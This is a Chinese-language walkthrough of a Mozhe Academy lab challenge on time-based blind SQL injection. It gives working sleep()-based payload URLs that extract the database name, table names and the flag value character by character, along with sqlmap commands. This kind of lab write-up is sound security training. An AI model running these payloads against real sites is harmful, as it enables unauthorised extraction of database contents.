墨者学院——SQL注入漏洞测试(时间盲注)

点击链接进入题目

墨者学院——SQL注入漏洞测试(时间盲注)_第1张图片

点进网页,在url后加?type=1',发现没有回显

墨者学院——SQL注入漏洞测试(时间盲注)_第2张图片

 上传?type=1 and sleep(10),发现网页有明显延迟,说明sleep函数被执行,该网页存在时间注入

墨者学院——SQL注入漏洞测试(时间盲注)_第3张图片

 通过构造payload去获得数据库长度,x为猜想的数据库长度。

http://124.70.71.251:43431/flag.php?type=1%20and%20if(length(database())=x,sleep(5),1)%20--

测试发现当database=12时网页出现延迟,发生时间注入,说明数据库的长度为12

然后进行猜解数据库名

http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+

一个个猜解会很慢,可以使用sqlmap去跑数据库名python sqlmap.py -u "url" --dbs

墨者学院——SQL注入漏洞测试(时间盲注)_第4张图片

 接下来猜解表

1、猜解表的长度

http://ip/flag.php?type=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,sleep(5),1) --

2、猜解表名

http://219.153.49.228:40472/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=102,sleep(5),1) --

可以发现当第一个字母的ASCII码为102时,即为字符‘f’时,发现有延迟,即该表的第一个字母是‘f’

以此类推猜出长度为4的表名

也可以直接用sqlmap跑出表名python sqlmap.py -u

墨者学院——SQL注入漏洞测试(时间盲注)_第5张图片

 得到表名后,我们需要获取表中的数据

1、猜解数据长度

http://ip/flag.php?type=1 and if(length((select flag from flag limit 0,1))=6,sleep(4),1)--

当猜想数据长度为6的时候有延迟,说明该数据的长度为6

2、猜解数据内容

http://ip/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),1))=109,sleep(4),1)--


以此类推可以猜得该长度为6的数据内容为mozhe1

用sqlmap跑会很方便

墨者学院——SQL注入漏洞测试(时间盲注)_第6张图片

最终获得flag。

你可能感兴趣的:(安全)